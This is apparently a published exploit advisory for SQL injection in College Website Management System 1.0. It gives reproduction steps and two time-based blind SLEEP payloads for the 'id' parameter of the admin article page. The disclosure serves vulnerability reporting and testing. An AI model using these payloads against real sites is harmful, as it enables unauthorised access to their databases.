# Exploit Title: College Website Management System 1.0 - SQL Injection
# Date: 12/03/2022
# Exploit Author: Mr Empy
# Software Link:
https://www.sourcecodester.com/php/15203/college-website-content-management-system-phpoop-free-source-code.html
# Version: 1.0
# Tested on: Linux

Title:
================
College Website Management System 1.0 - SQL Injection


Summary:
================
The College Website Management System application in version 1.0 is
vulnerable to SQL injection allowing the attacker to make requests to the
database.


Severity Level:
================
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N


Affected Product:
================
College Website Management System v1.0


Steps to Reproduce:
================

1. Open your browser and go to
https://target/cwms/admin/?page=articles/view_article&id=1.

2. In the "id" parameter add the following payload:

' and (select * from(select(sleep(10)))Avx) and 'abc' = 'abc

After that, the server will only respond after 10 seconds have passed.


---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: page=articles/view_article&id=1' AND (SELECT 2016 FROM
(SELECT(SLEEP(5)))kbJu) AND 'SfwZ'='SfwZ
---